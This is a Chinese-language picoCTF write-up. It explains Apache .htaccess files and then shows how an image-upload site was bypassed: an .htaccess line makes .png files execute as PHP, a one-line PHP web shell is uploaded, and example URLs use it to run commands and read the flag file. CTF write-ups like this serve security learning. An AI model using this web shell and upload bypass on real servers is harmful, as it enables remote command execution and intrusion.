What is .htaccess?
.htaccess 是 Apache HTTP Server 的分散式設定檔(distributed configuration file)。是一個放在目錄裡的純文字檔案,能覆寫 Apache 主設定檔(httpd.conf)中的部分指令,而且只對它所在的目錄及其子目錄生效。
因為 Apache 在處理每一個 HTTP 請求時,會沿著請求路徑逐層往上查找 .htaccess。只要伺服器的主設定裡允許了 AllowOverride(不是 None),Apache 就會讀取並執行該檔案裡的指令。所以在CTF解題中常上傳他來變更系統設定,繞過一些限制。
解題
觀察題目
查看題目網頁發現他是一個可以上傳圖片的網站
隨意上傳一張PNG圖片看看,發現上傳之後會有一個連結,連結點進去是我上傳的圖片

使用burp suite查看詳細封包
查看送出上傳時的封包,發現他後端是php,有可能是Apache HTTP Serve
嘗試上傳php程式碼,並查看封包
嘗試送出,發現失敗
嘗試上傳php程式碼,並修改封包送出,結果仍然都失敗

更改糸統設定上傳php程式碼
更改設定將副檔名png當成php解讀
AddType application/x-httpd-php .png
上傳php程式碼並將副檔名檔為png
<?=`$_GET[0]`?>
嘗試執行webshell指令
http://amiable-citadel.picoctf.net:63204/images/rever.png?0=id
找出flag,並查看
http://amiable-citadel.picoctf.net:63204/images/rever.png?0=cat%20../../flag.txt

取得flag
picoCTF{s3rv3r_byp4ss_9e7008ba}
提交flag



說些什麼吧!